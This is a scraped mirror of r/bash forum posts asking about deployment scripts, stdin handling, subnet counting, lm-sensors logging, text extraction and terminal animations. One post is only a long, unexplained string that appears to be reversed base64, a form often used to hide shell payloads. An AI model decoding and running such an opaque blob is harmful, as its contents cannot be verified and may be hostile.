r_bash | Unsorted

Telegram-канал r_bash - r_bash

46

Credits: @r_channels & @reddit2telegram

Subscribe to a channel

r_bash

../target/x86_64-unknown-linux-gnu/release/rust_app "$SERVER_USER@$SERVER_IP:/tmp/rust_app"

scp -i "$PATH_TO_SSH_KEY" ../.env "$SERVER_USER@$SERVER_IP:/tmp/.env"

ssh -i "$PATH_TO_SSH_KEY" "$SERVER_USER@$SERVER_IP" << EOF

mv /tmp/rust-app /home/$SERVER_USER/rust_app_folder/rust_app

mv /tmp/.env /home/$SERVER_USER/rust_app_folder/.env

sudo systemctl restart rust_app

EOF

fi
```

So the first question is using Bash for deployment a good practice? I’m wondering if it's best practice to do it or should I be using something more specialized, like Ansible or Jenkins?

The second question is related to Bash. When executing multiple commands on a remote server using an EOF block, the commands often appear as plain text in editors like Vim, without proper syntax highlighting or formatting. Is there a more elegant way to manage this? For example, could I define a function locally that contains all the commands, evaluate certain variables (such as $SERVER_USER) beforehand, and then send the complete function to the remote server for execution? Alternatively, is there a way to print the evaluated function and pass it to an EOF block as a sequence of commands, similar to how it's done now?

Thanks!


https://redd.it/1gbaanm
@r_bash

Читать полностью…

r_bash

Read from standard input

Quick question: in a script, how to read from standard input and store into string variable or array if first argument to a script is a -? The script also takes other arguments, in which case it shouldn't read from standard input.

https://redd.it/1gawaq4
@r_bash

Читать полностью…

r_bash

I prerer eza rather than ls

Eza (fork of exa) https://github.com/eza-community/eza is similar to ls but with color output and fancy Unicode icons for file type and few other improvements. However if you make alias ls=eza --icons it may not work all the time, because it is missing -Z for SELinux or put icons to output. But it is quite easy to fix in my ~/.bashrc:

function ls() {
if [[ $* == *-Z* ]] ; then
/usr/bin/ls $*
fi

if [ -t 1 ] ; then
# Output to TTY
eza --icons $*
else
/usr/bin/ls $*
fi
}


So, if -Z is present, than use ls, or if output is not TTY (else-block for -t) it will use /usr/bin/ls instead (if I will use just ls the new function will recursivelly call itself :).

https://redd.it/1gabtlo
@r_bash

Читать полностью…

r_bash

Bash, count IPs in subnet / range

I've been all over Google. Maybe I'm typing the wrong words.

I'm trying to look at a method to extract the number of IP addresses by simply providing a range.

`25.25.25.25/\`\`17` would return `32768`

I found a few older bash scripts from back in 2013, but one did not return the correct results, and it was a massive script. I don't know enough about IPv4 addresses to attempt this on my own.

Just looking for a template or a direction to go in.

A vanilla solution would be nice, where no extra packages need to be installed, but if it absolutely must be a package, then I can live with that. Pretty sure I can install whatever package I need.

I found ipcalc, which makes it easy, but I'd need a way to extract just the value

```
$ ipcalc 10.10.10.10/32
Address: 10.10.10.10 00001010.00001010.00001010.00001010
Netmask: 255.255.255.255 = 32 11111111.11111111.11111111.11111111
Wildcard: 0.0.0.0 00000000.00000000.00000000.00000000
=>
Hostroute: 10.10.10.10 00001010.00001010.00001010.00001010
Hosts/Net: 1 Class A, Private Internet
```

```
$ ipcalc 10.10.10.10/17
Address: 10.10.10.10 00001010.00001010.0 0001010.00001010
Netmask: 255.255.128.0 = 17 11111111.11111111.1 0000000.00000000
Wildcard: 0.0.127.255 00000000.00000000.0 1111111.11111111
=>
Network: 10.10.0.0/17 00001010.00001010.0 0000000.00000000
HostMin: 10.10.0.1 00001010.00001010.0 0000000.00000001
HostMax: 10.10.127.254 00001010.00001010.0 1111111.11111110
Broadcast: 10.10.127.255 00001010.00001010.0 1111111.11111111
Hosts/Net: 32766 Class A, Private Internet
```

Using
```
ipcalc 10.10.10.10/32 | grep "Hosts/Net"
```

Allows me to narrow it down, but there's still text aside from just the number:

```
$ ipcalc 10.10.10.10/32 | grep "Hosts/Net"
Hosts/Net: 1 Class A, Private Internet
```

https://redd.it/1g9yl0t
@r_bash

Читать полностью…

r_bash

Help Needed: Script Not Launching Firefox Properly from st in Floating Mode

I’m having some trouble with a Bash script that I’m trying to run in a floating `st` terminal in my dwm setup. The script is designed to open bookmarks from a qutebrowser quickmarks file using `fzf` and then launch the selected bookmark in Firefox Developer Edition. However, it doesn't seem to work correctly when invoked from `st` in floating mode, if the script is used in normal terminal it works as expected. I just assume theres something wrong with the "-e" flag, I would really appreciate a help.

This is the script

!/usr/bin/env bash
bookmark_file="$HOME/.config/qutebrowser/quickmarks"
selected=$(bat "$bookmark_file" | fzf)
url=$(echo "$selected" | cut -d' ' -f2)

if [ -n "$url" ]; then
firefox-developer-edition "$url" &
fi

This is my respective dwm config lines


static const Rule rules[] = {
{ "floatingst", NULL, NULL, 0, 1, -1 },
};

static const char *st2[] = { "st", "-c", "floatingst", "-e", "/path/to/Script.sh", NULL };

static const Key keys[] = {
{ MODKEY, XK_m, spawn, {.v = st2 } },
};


https://redd.it/1g9ndmk
@r_bash

Читать полностью…

r_bash

Fatal library error, reap ERROR while trying to demonize systemd inside Ubuntu installed with the Linuxulator.

Hello.

I'm trying to install Ubuntu 24.04 inside the FreeBSD Linuxulator. Something is changed on the 24.04 because,I was able to install the 23.10 even if I got the systemd error,but with the 24.04 the installation stucks totally and it doesn't let to install anything else if the error is not fixed somehow...

57 upgraded, 62 newly installed, 43 to remove and 756 not upgraded.
100 not fully installed or removed.
Need to get 0 B/51.8 MB of archives.
After this operation, 84.9 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_COLLATE = "C",
LANG = "it_IT.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC_CTYPE to default locale:
No such file or directory
locale: Cannot set LC_MESSAGES to default locale:
No such file or directory
locale: Cannot set LC_ALL to default locale:
No such file or directory
Extracting templates from packages: 100%
Preconfiguring packages ...
Setting up systemd (255.4-1ubuntu8.4) ...
/proc/ is not mounted, but required for successful operation of
systemd-tmpfiles. Please mount /proc/.
Alternatively, consider using the --root= or --image= switches.
Failed to take /etc/passwd lock: Invalid argument
dpkg: error processing package systemd (--configure):
installed systemd package post-installation script subprocess
returned error exit status 1
Errors were encountered while processing:
systemd57 upgraded, 62 newly installed, 43 to remove and 756 not upgraded.
100 not fully installed or removed.
Need to get 0 B/51.8 MB of archives.
After this operation, 84.9 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_COLLATE = "C",
LANG = "it_IT.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC_CTYPE to default locale:
No such file or directory
locale: Cannot set LC_MESSAGES to default locale:
No such file or directory
locale: Cannot set LC_ALL to default locale:
No such file or directory
Extracting templates from packages: 100%
Preconfiguring packages ...
Setting up systemd (255.4-1ubuntu8.4) ...
/proc/ is not mounted, but required for successful operation of
systemd-tmpfiles. Please mount /proc/.
Alternatively, consider using the --root= or --image= switches.
Failed to take /etc/passwd lock: Invalid argument
dpkg: error processing package systemd (--configure):
installed systemd package post-installation script subprocess
returned error exit status 1
Errors were encountered while processing:
systemd

I realized that ubuntu 23.10 does not have this kind of problem. I can install everything even if it complains that systemd is not installed. Starting with ubuntu 24.04 something is changed inside the code. Now if it is not able to install systemd,it will not continue letting you install anything else.

I found this interesting hack :

[https://github.com/DamionGans/ubuntu-wsl2-systemd-script/tree/master](https://github.com/DamionGans/ubuntu-wsl2-systemd-script/tree/master)

the code is easy to understand /for users who have some knowledge of shell scripting/ ; not me. At least mine is low,but not null. The script try to "demonize" systemd and it worked when I played with WSL a lot of years ago. I've thought,why not try it with Ubuntu installed within the Linuxulator ? with some little modifications it could work. I've analyzed the source

Читать полностью…

r_bash

Script for SSH'ing to a switch then....

.... Performing commands in Telnet.

The story is: My AVR won't accept telnet commands after it's been connected to the same IP address for a while. I would like to run a script every night when the receiver is off to shut the switch port off.

I have to SSH the switch then run:

telnet localhost
en
conf
interface 0/4
And one of two commands:
shut (turn off port at 1:01am)
no shut (turn on port at 6:30)

I am guessing an expect script is going to be the best way to do this on the machine (not the switch because I can't install expect).

Is this the proper approach?

https://redd.it/1g6m020
@r_bash

Читать полностью…

r_bash

How do I log lm-sensors CPU and GPU temp to file during stress test?

I'm looking to stress test a laptop running Linux Mint which has lm-sensors installed. I want to write the CPU and GPU temp to a file, and tried this solution which only appeared to output the UNIX timestamp on a single line; no temp data, and no newline-for-each-timestamp. Example:

Time;     temp1;  temp2;  Physical id 0;  Core 0; Core 1; Core 2; Core 3; SIO Temp;       temp3
1729536016; 1729536018; 1729536020; 1729536022; 1729536024;


How can I change this script to output the temp data for each #-second reading on a newline?

Here's a single $ sensors output in terminal, for reference:

iwlwifi_1-virtual-0
Adapter: Virtual device
temp1: +49.0°C

pch_cannonlake-virtual-0
Adapter: Virtual device
temp1: +66.0°C

ucsi_source_psy_USBC000:001-isa-0000
Adapter: ISA adapter
in0: 35.20 V (min = +35.20 V, max = +0.00 V)
curr1: 3.00 A (max = +0.00 A)

BAT0-acpi-0
Adapter: ACPI interface
in0: 16.47 V

coretemp-isa-0000
Adapter: ISA adapter
Package id 0: +56.0°C (high = +100.0°C, crit = +100.0°C)
Core 0: +48.0°C (high = +100.0°C, crit = +100.0°C)
Core 1: +49.0°C (high = +100.0°C, crit = +100.0°C)
Core 2: +56.0°C (high = +100.0°C, crit = +100.0°C)
Core 3: +47.0°C (high = +100.0°C, crit = +100.0°C)
Core 4: +51.0°C (high = +100.0°C, crit = +100.0°C)
Core 5: +48.0°C (high = +100.0°C, crit = +100.0°C)

thinkpad-isa-0000
Adapter: ISA adapter
fan1: 2485 RPM
fan2: 2158 RPM
CPU: +49.0°C
GPU: +45.0°C
temp3: +0.0°C
temp4: +0.0°C
temp5: +0.0°C
temp6: +0.0°C
temp7: +0.0°C
temp8: +0.0°C

ucsi_source_psy_USBC000:002-isa-0000
Adapter: ISA adapter
in0: 0.00 V (min = +0.00 V, max = +0.00 V)
curr1: 0.00 A (max = +0.00 A)

nvme-pci-7100
Adapter: PCI adapter
Composite: +41.9°C (low = -273.1°C, high = +81.8°C)
(crit = +84.8°C)
Sensor 1: +41.9°C (low = -273.1°C, high = +65261.8°C)
Sensor 2: +46.9°C (low = -273.1°C, high = +65261.8°C)

acpitz-acpi-0
Adapter: ACPI interface
temp1: +49.0°C (crit = +128.0°C)


Note: I did unsuccessfully try adding the additional cores (I think this was written for a quad core and this laptop has a hexacore) in line 2 of the script.

Do I need to run `$ sudo sensors-detect`?

https://redd.it/1g8y0og
@r_bash

Читать полностью…

r_bash

generate animated pseudo random glitch SVG from ASCII characters
https://redd.it/1g874ji
@r_bash

Читать полностью…

r_bash

random wallhaven wallpaper setting

i just needed a little way to grab a random wallpaper and be able to set it and save it if i want to as my wallpaper.

it's very simple lol, but it's what i needed.

https://github.com/getjared/bash/tree/main/wc

https://redd.it/1g7jfta
@r_bash

Читать полностью…

r_bash

Remove everything before a marker and after a second marker in text files -- best approach? sed? awk?

Everything I find via google is line-oriented, but my issue is needed for the whole text file.

I have text similar to:

This

is some
text
still textmarker AThis is the text to keep

This should also be kept.
And this.
And this as well.
marker BFrom here on, it's junk.

Also junk.
A lot of junk!

with a target of

This is the text to keep

This should also be kept.
And this.
And this as well.

In other words, remove everything from file up to and including marker A (example of marker: 9), and also remove everything after and including marker B (example of marker: 10). Length and contents of the segments Before, Text and After is varying.

What's the easiest way to do this? Can I use awk or sed for this, despite the fact that I am looking not at lines and the positions are not fixed to specific line numbers?

https://redd.it/1g6eflf
@r_bash

Читать полностью…

r_bash

'=ogIXFlckIzYIRCekEHMORiIgwWY2VmCpICcahHJVRCTkcVUyRie5YFJ3RiZkAnW4RidkIzYIRiYkcHJzRCZkcVUyRyYkcHJyMGSkICIsFmdlhCJ9gnCiISPwpFe7IyckVkI9gHV7ICfgYnI9I2OiUmI9c3OiImI9Y3OiISPxBjT7IiZlJSPjp0OiQWLgISPVtjImlmI9MGOQtjI2ISP6ljV7Iybi0DZ7ISZhJSPmV0Y7IychBnI9U0YrtjIzFmI9Y2OiISPyMGS7Iyci0jS4h0OiIHI8ByJaBzZwA1UKZkWDl0NhBDM3B1UKRTVz8WaPJTT5kUbO9WSqRXTQNVSwkka0lXVWNWOJlWS3o1aVhHUTp0cVNVS3MmewkWSDNWOQdFZENVMWRX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VV0UjUWpERWpmRWNVMVlXWz40RiZ1b14ERCV1UtJlVVxmT3pFMsJnVtFjahhEa0dVb0dVTyokeU1WMK9UVsdVVrFzVhFjUQZ1aad1UxYFWahEbTdlRC50Usp1VTBjRFR1Mk5mVGJkVTpmRVVFWCJ1VqZ0STdUU14ERCV1Usp0RWZlQ3pFMOxUTHVDRiRUV5lVb0NUUwwmbRdFbENmRwh0UXRmQRBDbuFVVOpkWykjUZdVMDFFMs5WUV5kSaBjREN1VkJUUwwmbiJDZKJGSohVWXFzUlVFe1IWRkFmWrBXWX5mTXJ2VKFjVrh2ahBDbENFVSBTUwwmcPZFZpJGM1g0UXRmQRBDbuFVVOpkWwYERTdFZCFFMs5WUV5kSTFTV5l1MOdlUwwmbRVlTKpFMGR0UXRmQRBDbuF1VsRUYWZFSZ5mQhJFMwJzUWhGahpHbzllM4RjVxAXMOZFZr1kRKB3UXRmbNBDduVFVKlGZHdWeXd1Y0IVMvhHVrhmSaBjREN1VkJUUwwm

Читать полностью…

r_bash

Still Drowning

I am the Missing Alias guy from yesterday. everytime I try to post here with the link to the old post it gets removed.


I have an alias set to change "docker" to "DOCKER_DEFAULT_PLATFORM=linux/amd64 docker-compose build" from a year ago when I was working a lot with docker.

I dont want that alias to exist anymore. but I cant find it.

Here is what i've done to find and diagnose the issue:

1. tried all terminal searches recommended by the brilliant minds of this sub (thank you all, seriously)

1a. tried every other possible search technique recommended by chatgpt (desperate, learned a lot)

2. disabled all potential 3rd party app culprits

3. booted into safe mode (this stopped the text replacement)

4. created and used a new user account on my mac (this also stopped the text replacement)

5. checked in system settings -> keyboard -> text replacement (obviously, not in there.)

6. tried using keyboard maestro (my normal text replacement strategy) to cancel it with the inverse replacement, which didn't work, because my system seems to be pasting it instead of typing the string, so KM doesn't recognize the trigger string

that tells me that the action lives somewhere in my main users home folder. What I don't understand, is why the search term "docker" or "DOCKER_DEFAULT_PLATFORM=linux/amd64 docker-compose build" return no results. I have no listed aliases other than the main two that boot with macOS (run-help=man which-command=whence)

I am beginning to think this is an issue compounded from macOS software updates since I set it up. how is it possible that there is no executable file or defined alias that returns the culprit, but the text replacement still works? I can hardly get it to work under ideal conditions!

seriously spinning my head at this one. if there are any wizards out there who can help me tackle this issue, I will be forever grateful.

https://redd.it/1g3kira
@r_bash

Читать полностью…

r_bash

Navita - A new Directory Jumper Utility

https://i.redd.it/mgprurmfdxud1.gif



https://redd.it/1g47ujl
@r_bash

Читать полностью…

r_bash

any help in making this animation lighter and faster but still using the tput commands to set the lines and columns is welcomed.

#!/bin/bash
LINES=$(tput lines)
COLUMNS=$(tput cols)
for (( i=0; i<$LINES; i++ ))
do
clear
for (( l=0; l<=$i; l++ ))
do
echo
done
eval printf %.1s '$((RANDOM & 1))'{1..$COLUMNS}; echo
sleep 0.01
done

https://redd.it/1g3atap
@r_bash

Читать полностью…

r_bash

Deployment, Bash, and Best Practices.

Hi guys, I have a few questions related to deployment process. While this might not be strictly about Bash, I’m currently using Bash for my deployment process, so I hope this is the right place to ask.

I’ve created a simple deployment script that copies files to a server and then connects to it to execute various commands remotely. Here’s the script I’m using:

```bash

#!/bin/bash

# Source the .env file to load environment variables

if [ -f ".env" ]; then

source .env

else

echo "Error: .env file not found."

exit 1

fi

# Check if the first argument is "true" or "false"

if [[ "$1" != "true" && "$1" != "false" ]]; then

printf "Usage: ./main_setup.sh [true|false]\n"

printf "\ttrue - Perform full server setup (install Nginx, set up authentication and systemd)\n"

printf "\tfalse - Skip server setup and only deploy the Rust application\n"

exit 1

fi

# Ensure required variables are loaded

if [[ -z "$SERVER_IP" || -z "$SERVER_USER" || -z "$BASIC_AUTH_USER" || -z "$BASIC_AUTH_PASSWORD" ]]; then

printf "Error: Deploy environment variables are not set correctly in the .env file.\n"

exit 1

fi

printf "Building the Rust app...\n"

cargo build --release --target x86_64-unknown-linux-gnu

# If the first argument is "true", perform full server setup

if [[ "$1" == "true" ]]; then

printf "Setting up the server...\n"

# Upload the configuration files

scp -i "$PATH_TO_SSH_KEY" nginx_config.conf "$SERVER_USER@$SERVER_IP:/tmp/nginx_config.conf"

scp -i "$PATH_TO_SSH_KEY" logrotate_nginx.conf "$SERVER_USER@$SERVER_IP:/tmp/logrotate_nginx.conf"

scp -i "$PATH_TO_SSH_KEY" logrotate_rust_app.conf "$SERVER_USER@$SERVER_IP:/tmp/logrotate_rust_app.conf"

scp -i "$PATH_TO_SSH_KEY" rust_app.service "$SERVER_USER@$SERVER_IP:/tmp/rust_app.service"

# Upload app files

scp -i "$PATH_TO_SSH_KEY" ../target/x86_64-unknown-linux-gnu/release/rust_app "$SERVER_USER@$SERVER_IP:/tmp/rust_app"

scp -i "$PATH_TO_SSH_KEY" ../.env "$SERVER_USER@$SERVER_IP:/tmp/.env"


# Connect to the server and execute commands remotely

ssh -i "$PATH_TO_SSH_KEY" "$SERVER_USER@$SERVER_IP" << EOF

# Update system and install necessary packages

sudo apt-get -y update

sudo apt -y install nginx apache2-utils

# Create password file for basic authentication

echo "$BASIC_AUTH_PASSWORD" | sudo htpasswd -ci /etc/nginx/.htpasswd $BASIC_AUTH_USER

# Copy configuration files with root ownership

sudo cp /tmp/nginx_config.conf /etc/nginx/sites-available/rust_app

sudo rm -f /etc/nginx/sites-enabled/rust_app

sudo ln -s /etc/nginx/sites-available/rust_app /etc/nginx/sites-enabled/

sudo cp /tmp/logrotate_nginx.conf /etc/logrotate.d/nginx

sudo cp /tmp/logrotate_rust_app.conf /etc/logrotate.d/rust_app

sudo cp /tmp/rust_app.service /etc/systemd/system/rust_app.service



# Copy the Rust app and .env file

mkdir -p /home/$SERVER_USER/rust_app_folder

mv /tmp/rust_app /home/$SERVER_USER/rust_app_folder/rust_app

mv /tmp/.env /home/$SERVER_USER/rust_app/.env

# Clean up temporary files

sudo rm -f /tmp/nginx_config.conf /tmp/logrotate_nginx.conf /tmp/logrotate_rust_app.conf /tmp/rust_app.service

# Enable and start the services

sudo systemctl daemon-reload

sudo systemctl enable nginx

sudo systemctl start nginx

sudo systemctl enable rust_app

sudo systemctl start rust_app

# Add the crontab task

sudo mkdir -p /var/log/rust_app/crontab/log

(sudo crontab -l 2>/dev/null | grep -q "/usr/bin/curl -X POST http://localhost/rust_app/full_job" || (sudo crontab -l 2>/dev/null; echo "00 21 * * * /usr/bin/curl -X POST http://localhost/rust_app/full_job >> /var/log/rust_app/crontab/\\\$(date +\\%Y-\\%m-\\%d).log 2>&1") | sudo crontab -)

EOF

else

# Only deploy the Rust application

scp -i "$PATH_TO_SSH_KEY"

Читать полностью…

r_bash

How a Non-Interactive Shell Have Access to Its Parent Interactive Shell?

Hi. I'm just curious what things a script that is launched from an interactive shell has access to about the interactive shell? can it see what options are enabled in the shell? does the non interactive shell even know it was launched from an interactive shell? or is it like a sandbox? Idk if I'm converying what I mean.

https://redd.it/1gaojfj
@r_bash

Читать полностью…

r_bash

I don't know bash. I need a script to find big folders

*bigger than 100MB. Then, move them to /drive/.links/ and create a link from the old folder to the new one.

https://redd.it/1g96wgf
@r_bash

Читать полностью…

r_bash

✨ What Terminal Features Would You Love? Check Out My Project and Share Your Ideas! ✨

Hey everyone!

I'm curious—**what features do you wish you could integrate into your terminal** to make your workflow smoother or more enjoyable?

I'm currently developing a project called [**HomeSetup**](https://github.com/yorevs/homesetup) project aimed at enhancing and customizing terminal environments for developers. Whether it's advanced theming, plugin support, automation tools, or anything else, I'd love your suggestions!

I have already integrated the following:

* [**Starship**](https://starship.rs/)**:** Elevate your terminal experience with this highly customizable prompt.
* [**ColorLS**](https://github.com/athityakumar/colorls)**:** Add colorized and feature-rich directory listings for improved readability.
* [**FZF**](https://www.redhat.com/sysadmin/fzf-linux-fuzzy-finder)**:** Enjoy the power of fuzzy search for rapid navigation and command-line operations.
* [**GTrash**](https://github.com/umlx5h/gtrash)**:** Manage file deletion effortlessly with this trash-cli alternative.
* [**NeoVim**](https://neovim.io/)**:** A hyper-extensible, modern rewrite of Vim, offering improved performance and enhanced plugins for developers and power users.
* [**Sdiff**](https://man7.org/linux/man-pages/man1/sdiff.1.html) **+** [**Colordiff**](https://www.colordiff.org/)**:** Compare and colorize file differences directly in your terminal, providing an intuitive way to track changes between files.

🔍 **Check out the project's README here:** [HomeSetup README](https://github.com/yorevs/homesetup/blob/master/README.md)

Your feedback can help shape the next features of HomeSetup! Feel free to:

* Share the features you find essential for your terminal setup
* Suggest new ideas or improvements
* Ask any questions you might have about the project

Let's build a powerful and flexible terminal environment together! 🚀

Thanks for your support!

*Feel free to upvote and share if you're excited about enhancing terminal experiences!*

https://redd.it/1g9q9g0
@r_bash

Читать полностью…

r_bash

code,I tried to study it and I found the point where it produces an error,that unfortunately I'm not able to fix...this is the line :

root@marietto:/# SYSTEMD_PID="$(ps -eo pid=,args= | awk '$2" "$3=="'"$SYSTEMD_EXE"'" {print $1}')"

fatal library error, reaproot@marietto:/# SYSTEMD_PID="$(ps -eo pid=,args= | awk '$2" "$3=="'"$SYSTEMD_EXE"'" {print $1}')"

fatal library error, reap

I know for sure that the variable $SYSTEMD\_EXE is set :

root@marietto:/# echo $SYSTEMD_EXE

/lib/systemd/systemd --unit=basic.targetroot@marietto:/# echo $SYSTEMD_EXE

/lib/systemd/systemd --unit=basic.target

I suspect the error is produced by the ps or awk command. Code of the script :

#!/usr/local/bin/bash

SYSTEMD_EXE="/lib/systemd/systemd --unit=basic.target"
SYSTEMD_PID="$(ps -eo pid=,args= | awk '$2" "$3=="'"$SYSTEMD_EXE"'" {print $1}')"
if [ "$LOGNAME" != "root" ] && ( [ -z "$SYSTEMD_PID" ] || [ "$SYSTEMD_PID" != "1" ] ); then
export | sed -e 's/^declare -x //;/^IFS=".*[^"]$/{N;s/\n//}' | \
grep -E -v "^(BASH|BASH_ENV|DIRSTACK|EUID|GROUPS|HOME|HOSTNAME|\
IFS|LANG|LOGNAME|MACHTYPE|MAIL|NAME|OLDPWD|OPTERR|\
OSTYPE|PATH|PIPESTATUS|POSIXLY_CORRECT|PPID|PS1|PS4|\
SHELL|SHELLOPTS|SHLVL|SYSTEMD_PID|UID|USER|_)(=|\$)" > "$HOME/.systemd-env"
export PRE_NAMESPACE_PATH="$PATH"
export PRE_NAMESPACE_PWD="$(pwd)"
exec sudo /usr/sbin/enter-systemd-namespace "$BASH_EXECUTION_STRING"
fi
if [ -n "$PRE_NAMESPACE_PATH" ]; then
export PATH="$PRE_NAMESPACE_PATH"
unset PRE_NAMESPACE_PATH
fi
if [ -n "$PRE_NAMESPACE_PWD" ]; then
cd "$PRE_NAMESPACE_PWD"
unset PRE_NAMESPACE_PWD
fi

This is the github of the project :

[https://github.com/DamionGans/ubuntu-wsl2-systemd-script/tree/master](https://github.com/DamionGans/ubuntu-wsl2-systemd-script/tree/master)

https://redd.it/1g9k9ew
@r_bash

Читать полностью…

r_bash

Fatal library error, reap ERROR while trying to demonize systemd inside Ubuntu installed with the Linuxulator.

Hello.

I'm trying to install Ubuntu 24.04 inside the FreeBSD Linuxulator. Something is changed on the 24.04 because,I was able to install the 23.10 even if I got the systemd error,but with the 24.04 the installation stucks totally and it doesn't let to install anything else if the error is not fixed somehow...

57 upgraded, 62 newly installed, 43 to remove and 756 not upgraded.
100 not fully installed or removed.
Need to get 0 B/51.8 MB of archives.
After this operation, 84.9 MB of additional disk space will be used.
Do you want to continue? Y/n y
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LCALL = (unset),
LC
COLLATE = "C",
LANG = "itIT.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC
CTYPE to default locale:
No such file or directory
locale: Cannot set LCMESSAGES to default locale:
No such file or directory
locale: Cannot set LC
ALL to default locale:
No such file or directory
Extracting templates from packages: 100%
Preconfiguring packages ...
Setting up systemd (255.4-1ubuntu8.4) ...
/proc/ is not mounted, but required for successful operation of
systemd-tmpfiles. Please mount /proc/.
Alternatively, consider using the --root= or --image= switches.
Failed to take /etc/passwd lock: Invalid argument
dpkg: error processing package systemd (--configure):
installed systemd package post-installation script subprocess
returned error exit status 1
Errors were encountered while processing:
systemd57 upgraded, 62 newly installed, 43 to remove and 756 not upgraded.
100 not fully installed or removed.
Need to get 0 B/51.8 MB of archives.
After this operation, 84.9 MB of additional disk space will be used.
Do you want to continue? Y/n y
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LCALL = (unset),
LC
COLLATE = "C",
LANG = "itIT.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC
CTYPE to default locale:
No such file or directory
locale: Cannot set LCMESSAGES to default locale:
No such file or directory
locale: Cannot set LC
ALL to default locale:
No such file or directory
Extracting templates from packages: 100%
Preconfiguring packages ...
Setting up systemd (255.4-1ubuntu8.4) ...
/proc/ is not mounted, but required for successful operation of
systemd-tmpfiles. Please mount /proc/.
Alternatively, consider using the --root= or --image= switches.
Failed to take /etc/passwd lock: Invalid argument
dpkg: error processing package systemd (--configure):
installed systemd package post-installation script subprocess
returned error exit status 1
Errors were encountered while processing:
systemd

I realized that ubuntu 23.10 does not have this kind of problem. I can install everything even if it complains that systemd is not installed. Starting with ubuntu 24.04 something is changed inside the code. Now if it is not able to install systemd,it will not continue letting you install anything else.

I found this interesting hack :

https://github.com/DamionGans/ubuntu-wsl2-systemd-script/tree/master

the code is easy to understand /for users who have some knowledge of shell scripting/ ; not me. At least mine is low,but not null. The script try to "demonize" systemd and it worked when I played with WSL a lot of years ago. I've thought,why not try it with Ubuntu installed within the Linuxulator ? with some little modifications it could work. I've analyzed the source

Читать полностью…

r_bash

Matrix like animation for every time you start the terminal.(beta)

#!/bin/bash
sleep 0.01
[ $LINES ] || LINES=$(tput lines)
[ $COLUMNS ] || COLUMNS=$(tput cols)
a=0
tput civis
for (( i=0; i<$LINES; i++ ))
do
clear
if $i -gt 0
then
n=$(($i-1))
eval printf "$'\n%.0s'" {0..$n}
fi
if $a == 0
then
eval printf %.1s '$((RANDOM & 1))'{1..$COLUMNS} | sed -r 's/0/ /g'
a=1
elif $a == 1
then
eval printf %.1s '$((RANDOM & 1))'{1..$COLUMNS} | sed -r 's/1/ /g'
a=0
fi
if $i -lt $((LINES-1))
then
eval printf %.1s '$((RANDOM & 1))'{1..$COLUMNS}
fi
if $a == 1 -a $i -lt $(($LINES-2))
then
eval printf %.1s '$((RANDOM & 1))'{1..$COLUMNS} | sed -r 's/1/ /g'
a=1
elif $a == 0 -a $i -lt $(($LINES-2))
then
eval printf %.1s '$((RANDOM & 1))'{1..$COLUMNS} | sed -r 's/0/ /g'
a=0
fi
sleep 0.01
done
clear
tput cnorm

https://redd.it/1g792lw
@r_bash

Читать полностью…

r_bash

Are These Good Approaches to use?

So I have These two Scripts That I created Mainly when I'm in my Thinking Room (Bathroom) Both of them works, but any recommendations are welcomed


First One is a Command to toggle Redshift Eyes Protector

#!/bin/bash
stat="redshiftstat.txt"
test -f /tmp/$stat
error
code=$?
if [ $error_code != 0 ]; then
redshift -O 4200
touch /tmp/$stat
echo "night protection is on" >> /tmp/$stat
elif [ $error_code = 0 ]; then
redshift -x
rm /tmp/$stat
fi

Second is Rofi script Launcher:

#!/bin/bash
s=""
night="Run Night Mode"
items=$night$s"b"
command=$(echo $items | rofi -sep '
' -dmenu)
if [ $command = $night ]; then
./night.sh
else
echo "no command to apply"
fi

https://redd.it/1g8l2gz
@r_bash

Читать полностью…

r_bash

Issue in conversation using ghostscrript Help

Hi all, in my application, I am using Ghostscript to convert RGB to CMYK in a PDF. The conversion works, but I can't control the CMYK values from the RGB input. For example, the expected black CMYK value is 0/0/0/100, but the actual values are different. Does anyone have an idea on how to control this from HTML, or know of any plugin that can control the CMYK values? Alternatively, is there a way to control Ghostscript directly

https://redd.it/1g84l8h
@r_bash

Читать полностью…

r_bash

How can prompt messages piped/redirected to a subshell be caught and made visible in the terminal, if at all possible?

I'm experimenting with formatting the output of both built-in and custom commands by piping the output to a relevant (formatting) function, which means—understandibly—piping the output to a subshell. All messages indeed show up on the terminal except for *prompt messages* from commands that require user interaction (e.g., `apt-get`).

An attempt to pipe (or redirect) the `apt-get` output to stdout results in prompt messages becoming invisible to the user, with the cursor just blinking at the end of the "assumed" prompt message:

sudo apt-get full-upgrade 2> >(while IFS= read -r line; do
if [[ "$line" =~ "Do you want to continue?" ]]; then
echo "$line"
else
echo -e "\e[31m$line\e[0m" # Color the output in red
fi
done)

Piping works the same - only the normal messages (apparently ending with a line-feed character, or `Enter`) show up formatted, with no way to bring the *prompt messages* from the subshell (buffer?) to the main one so far.

sudo apt-get full-upgrade | log_formatter # a custom function to format the output

I know that one of the solutions might well be letting the commands like `apt-get` run in the main shell only (or with `-y` option), with no piping, output formatting, no prompts, etc. But that looks ... ~~ugly~~ patchy compared with the rest of the script, hence remaining my last resort only.

I've also gone to the extremes (thanks to the **A**lmighty **I**mpostor), trying to catch the *prompt messages* via the `script` command and the following custom `spawner.exp` file, which resides in the same directory as my script, to no avail yet:

#!/usr/bin/expect

log_user 0
spawn sudo apt-get full-upgrade

expect {
"Do you want to continue? [Y/n] " {
send "Y\n"
exp_continue
}
}

expect eof

Any help is highly appreciated!

https://redd.it/1g7jrho
@r_bash

Читать полностью…

r_bash

